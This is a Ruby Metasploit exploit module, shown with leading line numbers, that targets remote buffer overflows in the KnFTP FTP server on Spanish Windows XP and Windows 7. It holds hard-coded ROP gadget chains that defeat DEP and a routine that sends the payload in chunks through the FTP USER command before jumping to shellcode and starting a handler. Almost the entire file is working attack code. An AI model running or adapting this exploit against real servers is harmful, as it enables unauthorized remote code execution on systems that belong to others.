1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 |
#module for metasploit framework, for more information #see the Description. #Copyright (C) October 04th 2011 #Author: Javier Aguinaga (pasta) el.tio.pastafrola[at]gmail.com # #This program is free software: you can redistribute it and/or modify #it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or #(at your option) any later version. # #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the #GNU General Public License for more details. # #You should have received a copy of the GNU General Public License #along with this program.If not, see <http://www.gnu.org/licenses/>. require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'KnFTP FTP Server Multiple Commands Remote Buffer Overflow Vulnerabilities', 'Description'=> %q{ This module exploits a vulnerability in the KnFTP application. The same by-pass DEP with AlwaysOn. Built for the 10th contest of [C]racks[L]atino[S]. }, 'Author' => [ 'pasta' ], 'License'=> GPL_LICENSE, 'Version'=> '$Revision: 0 $', 'References' => [ [ 'URL', 'https://www.securityfocus.com/bid/49427'], ], 'Privileged' => false, 'Payload'=> { 'Space'=> 0x300, 'BadChars' => "\x00", 'DisableNops' =>'True' }, 'Platform' => [ 'win' ], 'Targets'=> [ [ 'Windows XP SP2/SP3 Spanish (NX)', { 'rop_movs' => [ 0x77bf1d16, # POP EAX 0x41414141, # PADDING 0x77c07451, # LEA EAX,[EBP-10] 0x77bf2751, # EBP = ESP+C && JMP EAX <-- # se ejecuta la carga de EBP # y despues carga en EAX el valor # EBP-10, esto es x el JMP EAX 0x77bef2c1, # ADD EAX,8 0x77bef2c1, # ADD EAX,8 0x77bef2c1, # ADD EAX,8 0x77bef2c1, # ADD EAX,8 0x77be95ab, # XCHG EAX,ESI # CMPS <-- ROBA 0x77c0620b, # MUEVE 6 DWORDS DE ESI A EDI 0x41414141, # JUNK 0x41414141, # JUNK 0x77bf22b6# JMP $ ], 'rop_popeax_null' => [ 0x77bef519, # POP ECX 0x41414141, # PADDING 0x42424242, # JUNK 0x77bf1d16, # POP EAX 0x42424242, # JUNK 0x77c0f284# LEA EAX,[EAX+ECX*8] ], 'rop_popeax' => [ 0x77bf1d16, # POP EAX 0x41414141, # PADDING 0x42424242# JUNK ], 'rop_writemem' => [ 0x77bef519, # POP ECX 0x42424242, # JUNK 0x77c12f02, # MOV [ECX],EAX 0x42424242, # JUNK 0x77bf22b6# JMP $ ], 'rop_jmpeax' => [ 0x77be68cd, # JMP EAX ], 'rop_changeeip' => [ 0x77bf1d16, # POP EAX 0x41414141, # PADDING 0x41414141, # JUNK 0x77be68cd# JMP EAX ], 'place4payload' => 0x77e1ac81, # .data msvcrt 'place4argumen' => 0x77e1ab40, # .data msvcrt 'loop' => 0x77bf22b6, # JMP $ } ], [ 'Windows 7 Professional SP1 Spanish (NX)', { 'rop_movs' => [ 0x770c181f, 0x41414141, 0x77099871, 0x770abffd, 0x7709a5c5, 0x7709a5c5, 0x7709a5c5, 0x7709a5c5, 0x770ce0ab, 0x770c07d2, 0x41414141, 0x41414141, 0x770aac5b ], 'rop_popeax_null' => [ 0x7709a984, 0x41414141, 0x42424242, 0x770c181f, 0x42424242, 0x770c040f ], 'rop_popeax' => [ 0x770c181f, 0x41414141, 0x42424242 ], 'rop_writemem' => [ 0x7709a984, 0x42424242, 0x770a3bdb, 0x42424242, 0x770aac5b ], 'rop_jmpeax' => [ 0x7709c441, ], 'rop_changeeip' => [ 0x770c181f, 0x41414141, 0x41414141, 0x7709c441 ], 'place4payload' => 0x77136C01, 'place4argumen' => 0x77136a80, 'loop' => 0x77bf22b6, } ], ], 'DisclosureDate' => 'Sept 19 2011', 'DefaultTarget' => 0)) register_options( [ OptInt.new('TIME', [ true, 'Delay between packets. (seconds)', 5 ]), ], self.class) end def exploit connect print_status("Sending eggs") address = target['place4payload'] + 0x300 payload.encoded << 'A'*(16 - payload.encoded.length % 16) (payload.encoded.length/16).times {|i| i += 1 buf= 'A'*276 buf << [address - 16 * i].pack('<L') buf << 'A'*4 buf << target['rop_movs'].pack('V*') + '1' # <-- byte corrido por CMPS buf << payload.encoded[payload.encoded.length - 16 * i, 16] sleep(datastore['TIME']) print "="*i + " "*((payload.encoded.length/16)-i) + "> #{i}/#{payload.encoded.length/16} egg[s]\r" send_user(buf) disconnect connect } memory = target['place4argumen'] keys = { memory+0x04 => target['loop'], memory-0x38 => target['place4payload'], memory-0x2c => 0x300, memory-0x1c => 0x40 } print_status("Disabling [D]ata [E]xecution [P]revention") j = 1 keys.each {|direction, dword| buf = 'A'*284 if [dword].pack('<L').index(0.chr) ecx = 0x01111111 eax = 2**32 + dword - ecx*8 target['rop_popeax_null'][2] = ecx target['rop_popeax_null'][4] = eax buf << target['rop_popeax_null'].pack('V*') else target['rop_popeax'][2] = dword buf << target['rop_popeax'].pack('V*') end target['rop_writemem'][1] = direction buf << target['rop_writemem'].pack('V*') sleep(datastore['TIME']) print "="*j + " "*(5-j) + "> #{j}/5 egg[s]\r" j += 1 send_user(buf) disconnect #connect again connect } buf = 'A'*280 buf << [memory].pack('<L') load_arguments = 0x00403822 ecx = 0x01111111 eax = 2**32 + load_arguments - ecx * 8 target['rop_popeax_null'][2] = ecx target['rop_popeax_null'][4] = eax buf << (target['rop_popeax_null'] + target['rop_jmpeax'] + [0x41414141]).pack('V*') sleep(datastore['TIME']) print "=====> 5/5\r" send_user(buf) print_good("PAYLOAD INJECT SUCCESSFULL") disconnect connect buf = 'A'*284 target['rop_changeeip'][2] = target['place4payload'] + 0x300 - payload.encoded.length + 7 buf << target['rop_changeeip'].pack('V*') print_status("Executing shellcode...") send_user(buf) sleep(datastore['TIME']*4) handler disconnect end end |